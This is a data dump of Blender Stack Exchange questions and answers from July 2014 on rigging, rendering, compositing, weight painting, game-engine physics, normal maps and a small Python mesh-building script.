  <row Id="14368" PostTypeId="2" ParentId="14364" CreationDate="2014-07-25T19:54:21.380" Score="1" Body="&lt;p&gt;You should not edit the bones in edit mode after animating them, do that only if you want to modify the rest pose.&lt;br&gt;&#xA;If you want to pose the bones than use Pose mode. Editing bones after posing will break the pose because you have modified the original rest pose and the transformation matrices of all the bones would evaluate a wrong pose. because poses are relative to the Rest_Pose.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need to setup your rest pose while in edit mode (or in pose mode and use  &lt;strong&gt;&lt;em&gt;Apply Pose as Restpose&lt;/em&gt;&lt;/strong&gt;) and then proceed to posing the character, without modifying the rest pose.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="5113" LastEditDate="2015-04-28T17:35:37.277" LastActivityDate="2015-04-28T17:35:37.277" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14370" PostTypeId="2" ParentId="14349" CreationDate="2014-07-25T23:41:42.310" Score="1" Body="&lt;p&gt;There are many things which could cause this, but here are some of the most likely ones (not including the ones already mentioned by GiantCowfilms)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A Modifier disabled in the viewport could be hiding/messing up the object(s) only in the render.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As GiantCowfilms already suggested, it could be a renderlayer issue. &lt;strong&gt;Having all layers selected does not mean your object will be in a renderlayer&lt;/strong&gt;, the layers specified under &lt;em&gt;layer&lt;/em&gt; are the ones which are used in rendering:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pHQXc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above case, only layer three will be rendered (objects on layers 1 and 2 will not appear).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Use surfaces&lt;/em&gt; could be disabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WeJQJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A transparent material be used somewhere, such as the &lt;em&gt;material override&lt;/em&gt; slot.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A problem with the compositing setup could be excluding your objects from the composited result.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;There are all sorts of unlikely scenarios which could cause this, so there's really no possible way to list them all..&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Troubleshooting&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To help troubleshoot this, here are some things you can try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are the objects rendered in viewport render (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does, then this suggests it's something on &lt;a href=&quot;https://blender.stackexchange.com/q/2728/599&quot;&gt;this list&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you add a new object, is it rendered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is, then that suggests it's something object specific (not a renderlayer/compositing problem)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-07-25T23:41:42.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14371" PostTypeId="1" CreationDate="2014-07-26T01:18:51.963" Score="4" ViewCount="554" Body="&lt;p&gt;I have been investigating building some terrain for a blender game engine project, I already have a camera worked up that can follow a mesh with the static physics type. The camera works. However I noticed that the camera started clipping through the terrain at some points. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe there is a disparity between how the physics engine calculates collisions with quads and the physical topology of the base mesh. You can see the physics visualization shows every triangulated quad has an edge drawn between the bottom left and top right corner, it doesn't accurately describe the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wfS9G.png&quot; alt=&quot;Square base mesh, without physics visualization&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MuEVb.png&quot; alt=&quot;Square base mesh with physics visualization&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have here, same exact same mesh explicitly triangulated with the triangulation modifier. This DOES accurately represent the base mesh. When I apply the modifier the camera works perfectly. The simulation follows the terrain perfectly, no clipping, no looking through the terrain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/igz1q.png&quot; alt=&quot;Same square mesh, with applied triangulation modifier, without physics&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2F3b9.png&quot; alt=&quot;Triangulated Square mesh, with physics visualization&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be great, but I plan to use benj's lodshader.py to add a much more detailed simulation surface at close distances while maintaining a low density surface at a distance to preserve performance. This script requires a square base mesh. How how can I get accurate terrain collisions with a square base mesh?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;EDIT:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Hopefully these pictures will better illustrate the problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the base mesh made of quads from an angle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EPkPl.png&quot; alt=&quot;Base Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the base mesh with the incorrect physics visualization overlay&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vYSQX.png&quot; alt=&quot;Base Mesh with physics visualization&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base mesh in wireframe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GadXs.png&quot; alt=&quot;Base Mesh Wireframe&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the triangulated mesh in wireframe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Obad.png&quot; alt=&quot;Triangulated Wireframe mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same mesh in solid surface&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iZlnG.png&quot; alt=&quot;Triangulated Solid Surface mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally the solid surface mesh, with the triangulation modifier shows the proper physics visualization that follows the surface of the mesh and doesnt allow clipping of the camera through the terrain. &lt;strong&gt;I need blender to do this without using the triangulate modifier&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a7I4s.png&quot; alt=&quot;Triangulated Solid surface with proper physics overlay&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5358" LastEditorUserId="5358" LastEditDate="2014-07-26T08:02:27.890" LastActivityDate="2015-03-23T23:21:27.423" Title="How to correct Blender &quot;physics visualization&quot; inconsistancy with base mesh made of quads" Tags="&lt;mesh&gt;&lt;game-engine&gt;&lt;physics&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14373" PostTypeId="1" CreationDate="2014-07-26T01:23:42.043" Score="1" ViewCount="554" Body="&lt;p&gt;I have tracked and stabilized footage.&lt;br&gt;&#xA;I used &lt;em&gt;2D Stabilization&lt;/em&gt; with &lt;em&gt;Autoscale&lt;/em&gt;, then turned on &lt;em&gt;Display Stabilization&lt;/em&gt; in the Display options. So far, so good.&lt;br&gt;&#xA;Then created a mask on undistorted footage (&lt;em&gt;Display Stabilization&lt;/em&gt; turned off - only then can see and edit the mask) and parented it to the tracked point used for stabilization (whole mask to single tracker point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use this mask in compositing through the nodes, it is of course undistorted and since &lt;em&gt;Stabilize 2D&lt;/em&gt; node info has no outputs, I can't pass &lt;em&gt;Location influence&lt;/em&gt; and &lt;em&gt;Autoscale&lt;/em&gt; values.&lt;br&gt;&#xA;I can make the mask follow my tracker with the &lt;em&gt;Track position&lt;/em&gt; node and some math nodes, but the &lt;em&gt;Location influence&lt;/em&gt; and &lt;em&gt;Autoscale&lt;/em&gt; is still a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to simply transform a mask to fit the &lt;em&gt;Stabilize 2D&lt;/em&gt; distortion?&lt;/p&gt;&#xA;" OwnerUserId="1610" LastEditorUserId="2217" LastEditDate="2014-07-26T17:12:49.357" LastActivityDate="2014-07-26T19:47:32.703" Title="How to mask stabilized footage" Tags="&lt;compositor&gt;&lt;tracking&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14374" PostTypeId="1" AcceptedAnswerId="14376" CreationDate="2014-07-26T01:30:54.853" Score="1" ViewCount="500" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P6Rfw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture above I have two feet. The blue one is the one I have selected and gone into weight paint mode. I'm trying to change some vertices to red in weight paint mode but don't really understand how to do this. When I use the brush on the foot, nothing happens. It simply remains blue. It also doesn't show me vertices. It appears solid. If I enable wire frame mode, it shows all the vertices but doesn't allow for selecting certain vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I paint specific vertices along the seam of my foot red?&lt;/p&gt;&#xA;" OwnerUserId="5213" LastActivityDate="2014-07-26T02:31:42.653" Title="Weight painting an object" Tags="&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14375" PostTypeId="2" ParentId="9161" CreationDate="2014-07-26T01:31:28.930" Score="8" Body="&lt;p&gt;Had the same problem. The solution was changing &lt;code&gt;&amp;lt;polylist&amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;lt;triangles&amp;gt;&lt;/code&gt; in source as &lt;strong&gt;CODEmanX&lt;/strong&gt; suggested.&lt;/p&gt;&#xA;" OwnerUserId="5361" LastActivityDate="2014-07-26T01:31:28.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14376" PostTypeId="2" ParentId="14374" CreationDate="2014-07-26T01:33:23.877" Score="3" Body="&lt;p&gt;In your screenshot the &lt;em&gt;weight&lt;/em&gt; and &lt;em&gt;radius&lt;/em&gt; of your brush are set to &lt;code&gt;0&lt;/code&gt;, and you are using the &lt;em&gt;subtract&lt;/em&gt; brush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set them to higher values and pick a brush like &lt;em&gt;mix&lt;/em&gt;, then it should work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uUewo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-26T02:31:42.653" LastActivityDate="2014-07-26T02:31:42.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14377" PostTypeId="1" AcceptedAnswerId="14378" CreationDate="2014-07-26T02:20:01.600" Score="6" ViewCount="14249" Body="&lt;p&gt;When blender is rendering I can see my model but at the very end the render goes black and the image saves as a black image. I am using cycles. Any help would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="5344" LastEditorUserId="599" LastEditDate="2014-07-26T02:41:47.387" LastActivityDate="2021-05-22T13:42:46.303" Title="Render turns black when finished" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14378" PostTypeId="2" ParentId="14377" CreationDate="2014-07-26T02:30:03.583" Score="9" Body="&lt;p&gt;It sounds like the &lt;em&gt;Use Nodes&lt;/em&gt; check mark in the compositer is checked, but the image is not connected to the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the above issue you can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are not using the compositer on your image, uncheck the &lt;em&gt;Compositing&lt;/em&gt; check mark in the Properties window.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/k6N1r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you do want to use the compositer, then you will need these two nodes at a minimum; the &lt;em&gt;Render Layers&lt;/em&gt; and the &lt;em&gt;Composite&lt;/em&gt; nodes.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UGKm0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-07-26T02:36:22.493" LastActivityDate="2014-07-26T02:36:22.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14379" PostTypeId="1" AcceptedAnswerId="14384" CreationDate="2014-07-26T03:15:00.307" Score="1" ViewCount="1138" Body="&lt;p&gt;I have a crown that is composed of a gold frame and pearls. The gold frame is one object and the pearls are a second object. I hit &quot;a&quot; in order to select both the crown and the pearls. Then I added two key frames one of the current location then one 10 frames later of the crown rotating and moving downwards (like it is falling through the air). However, in frames 1 and 10 the pearls are in the correct location but during frames 2-9 the pearls move at a different speed and follow a different path then the crown so they don't look like they are connected to the crown when it is falling. How do i fix this?&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2014-07-26T06:23:52.337" Title="Objects in animation moving at different speeds on the same keyframe" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14380" PostTypeId="1" AcceptedAnswerId="14381" CreationDate="2014-07-26T03:27:37.217" Score="1" ViewCount="707" Body="&lt;p&gt;When I render my animation I can see each frame being constructed frame by frame and the quality is great, however, when I watch the video that is composed of these frames the video quality is really bad. What should I do?&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2014-07-26T03:45:10.197" Title="Render Quality is amazing but video is poor quality and really grainy" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14381" PostTypeId="2" ParentId="14380" CreationDate="2014-07-26T03:45:10.197" Score="1" Body="&lt;p&gt;The most probable cause for this issue is &lt;strong&gt;bad video compression&lt;/strong&gt;. Here are my favorite settings for rendering video. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mzl0D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend rendering an image sequence instead though, since that offers better formats such as &lt;em&gt;.png&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&#xA;It is nearly impossible to confirm what is wrong without you posting more information.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-26T03:45:10.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14384" PostTypeId="2" ParentId="14379" CreationDate="2014-07-26T06:23:52.337" Score="0" Body="&lt;p&gt;You could &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting#Parenting_objects&quot; rel=&quot;nofollow&quot;&gt;parent&lt;/a&gt;&lt;/em&gt; the pearls to the crown, so that they follow the crown without being animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, select the pearls and then the crown (so that the crown is active), and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;. Now you only have to animate the crown.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for the reasons why the objects are out of sync in the first place, my first guess is that the origins are not in the same place.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-26T06:23:52.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14385" PostTypeId="2" ParentId="3364" CreationDate="2014-07-26T07:23:33.603" Score="1" Body="&lt;p&gt;It looks like this has been added in 2.71, but I don't see it in the release notes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rzjFd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-26T07:23:33.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14386" PostTypeId="2" ParentId="8066" CreationDate="2014-07-26T07:48:17.540" Score="3" Body="&lt;p&gt;This is dependent on resolution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine the domain as a grid of 3D pixels (volumetric pixels, or voxels). If your fluid object is smaller than a voxel, then it can't be represented properly (even if it's two voxels, that's still not good)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lDnDA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, you can either increase the resolution (this will increase bake time), or scale down the domain (this shouldn't increase bake time, but obviously there is less room for the fluid).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the resolution defines a fixed number of voxels, scaling it down will give you the same number of voxels, but they will be smaller (making the fluid object relatively larger):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/npWZZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There may be a hard limit of how small you can go eventually, but anything remotely reasonable should be fine.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-26T07:48:17.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14387" PostTypeId="1" AcceptedAnswerId="14407" CreationDate="2014-07-26T10:57:16.463" Score="6" ViewCount="5260" Body="&lt;h2&gt;Background&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm making a character for my game (with MakeHuman), and I wanted to add normal maps to the characters. I generated one low-poly character and then one high-poly using a bunch of Subsurf modifiers. I was able to use the new Cycles baking to bake normal maps mapping the low-poly object to the high-poly object.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm getting some odd artifacts and very hard-edged polygons when I'm applying them to the character, even with the character set to being completely &quot;Smooth-shaded&quot;. Can anyone explain why this is happening and how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(left) low-poly model, (right) high-poly model&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DY65u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DY65u.png&quot; alt=&quot;low and high poly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(left)low-poly without normal map, (right) low-poly &lt;strong&gt;with&lt;/strong&gt; normal map produces weird shading&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/spQSJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/spQSJ.png&quot; alt=&quot;with and without normal maps&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Here is the normal map I am using for the low-poly character that is causing the hard-edged polygons (32px margin):&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ihW2W.jpg&quot; alt=&quot;Normal map w/ uv layout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, here is my node layout (using Cycles):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dXrE4.png&quot; alt=&quot;Node layout&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4829" LastEditorUserId="30849" LastEditDate="2018-07-14T20:25:08.367" LastActivityDate="2018-07-14T20:25:08.367" Title="Hard-edged polygons with normal maps" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;normals&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="14388" PostTypeId="2" ParentId="14324" CreationDate="2014-07-26T11:34:01.063" Score="2" Body="&lt;p&gt;Just to add some things. If you're making scripts in Blender you definitely need to have the console open, so you can see the errors. You already discovered how to do that in OSX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore I'm guessing you have a background in another programming language. The &lt;code&gt;while&lt;/code&gt; loops you're using are very unpythonic. You can use simple &lt;code&gt;for&lt;/code&gt; loops here, which looks cleaner and even saves you a little bit of typing ;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole part between the import statements and &lt;code&gt;verts = []&lt;/code&gt; can be removed. You add the mesh and object at the end, so you absolutely don't need this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thinks it's better if you first create the mesh &lt;code&gt;from_pydata&lt;/code&gt;, then create the object and then link the object to the scene. This way you're sure that any needed updates to the scene will happen. I also tested it in the order you have and it worked for me (even without &lt;code&gt;mesh.update(calc_edges=True&lt;/code&gt;). So it might be just my preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simplified version. For simplicities sake I removed the dependency on numpy, but of course you can add it back to suit your needs. Only remember to convert any numpy values to &lt;code&gt;int()&lt;/code&gt;, &lt;code&gt;float()&lt;/code&gt; or whatever it should be, before passing it to Blender (like stacker mentioned).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import pi, sin, cos&#xA;&#xA;verts = []&#xA;faces = []&#xA;&#xA;n_side = 4&#xA;n_seg = 1&#xA;&#xA;for i_seg in range(n_seg + 1):&#xA;    zv = 2 * i_seg&#xA;    for i_vert in range(n_side):&#xA;        xv = cos(0.5 * pi * i_vert)&#xA;        yv = sin(0.5 * pi * i_vert)&#xA;        vert = (xv, yv, zv)&#xA;        verts.append(vert)&#xA;&#xA;for i_seg in range(n_seg):&#xA;    for i_vert in range(n_side):&#xA;        iv1 = i_seg * n_side + i_vert&#xA;        iv2 = i_seg * n_side + (i_vert + 1) % n_side&#xA;        iv3 = (i_seg + 1) * n_side + (i_vert + 1) % n_side&#xA;        iv4 = (i_seg + 1) * n_side + i_vert&#xA;        face = (iv1, iv2, iv3, iv4)&#xA;        faces.append(face)&#xA;&#xA;mesh = bpy.data.meshes.new(&quot;Cubit&quot;)&#xA;mesh.from_pydata(verts, [], faces)&#xA;&#xA;object = bpy.data.objects.new(&quot;Cubit&quot;, mesh)&#xA;object.location = (0, 0, 0)  # bpy.context.scene.cursor_location&#xA;&#xA;bpy.context.scene.objects.link(object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="668" LastActivityDate="2014-07-26T11:34:01.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14389" PostTypeId="1" CreationDate="2014-07-26T11:47:44.420" Score="1" ViewCount="627" Body="&lt;p&gt;I made nice shot with my camera but had some problem with focus and the video is a little blurry. Is there any good node setups for fix it? Moreover i have some night shots, which have quite bad quality, what can I do to get a nice quality, when sharpen node produce only grain?&lt;/p&gt;&#xA;" OwnerUserId="5363" LastActivityDate="2016-12-06T04:10:56.223" Title="Improve video quality" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14392" PostTypeId="2" ParentId="14387" CreationDate="2014-07-26T14:26:14.753" Score="0" Body="&lt;p&gt;It looks as if the uv-unwrapping could be causing it can you post a screenshot of your uv-map on top of the normal map.&lt;br&gt;&#xA;What could be happening is that your uv-map overlay does not match perfectly with your normal-map and some of the UVs cross the boundaries creating a very drastic change in the normals. &lt;br&gt;&#xA;Check that your UVs match the normal map precisely. &lt;br&gt;&#xA;(Also on your normal map - make sure the separate artifacts don't overlap and have some offset between them...) &lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-07-26T14:26:14.753" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14393" PostTypeId="1" AcceptedAnswerId="14395" CreationDate="2014-07-26T14:50:05.730" Score="0" ViewCount="55" Body="&lt;p&gt;When I have modeled and animated my project my 3d view looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wT3bI.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;While my rendering looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/He5Bc.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;As you can tell the crown is distorted the pearls are being lifted off the crown and the points on the crown are no longer pointy. Why is this happening/how do I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2014-07-26T15:33:42.737" Title="Discrepancy in Rendering from original model" Tags="&lt;modeling&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14394" PostTypeId="1" AcceptedAnswerId="14397" CreationDate="2014-07-26T15:10:24.587" Score="3" ViewCount="596" Body="&lt;p&gt;Lets say I have an object and I want to render it in squarish wireframe in orthographic view. Here is what I mean - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/6DQ9I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not looking for a specific topology in the 3d view, but what ever the topology of a model is, is it possible to render it in this way? I know that there are tricks to do this, for example by using chroma key, but as you can see in the image it is not acurate because it has picked up information from the original black background. Is there any way to do this in blender without the usage of chroma key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update - Basically, to render an object independent of its topology with a checkered wireframe&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3127" LastEditDate="2015-09-15T19:00:09.060" LastActivityDate="2015-09-15T19:00:09.060" Title="Is there a way to render a wireframe independent of its topology?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14395" PostTypeId="2" ParentId="14393" CreationDate="2014-07-26T15:33:42.737" Score="1" Body="&lt;p&gt;I would guess (can't tell for definite without a blend file) that you have a Subsurf Modifier set to be &lt;em&gt;off&lt;/em&gt; in the 3D view but &lt;em&gt;on&lt;/em&gt; for rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the modifiers panel by clicking the blue spanner/wrench and then see if you have any modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the modifier is set to be off in the 3D view then the 'eye' icon will be disabled. Disable the 'Show in render' button (camera icon) to disable the modifier or press the 'x' button to remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hKfBr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-07-26T15:33:42.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14396" PostTypeId="2" ParentId="14394" CreationDate="2014-07-26T15:52:36.160" Score="1" Body="&lt;p&gt;Yes(if I read your question correctly).&#xA;In this case I'm overlaying a &lt;s&gt;grid&lt;/s&gt;(checker texture) as such:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pqgdX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a image of a grid texture instead of the checker texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Steps:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Uv unwrap your mesh.&lt;/li&gt;&#xA;&lt;li&gt;Add a uv project modifier.&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/svgnG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the projector to your camera.&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/djGSR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the Uv map to your Uv map&lt;/li&gt;&#xA;&lt;li&gt;Set up a material such as this:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OoCw7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use any texture instead of the checker texture.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-26T16:32:11.167" LastActivityDate="2014-07-26T16:32:11.167" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
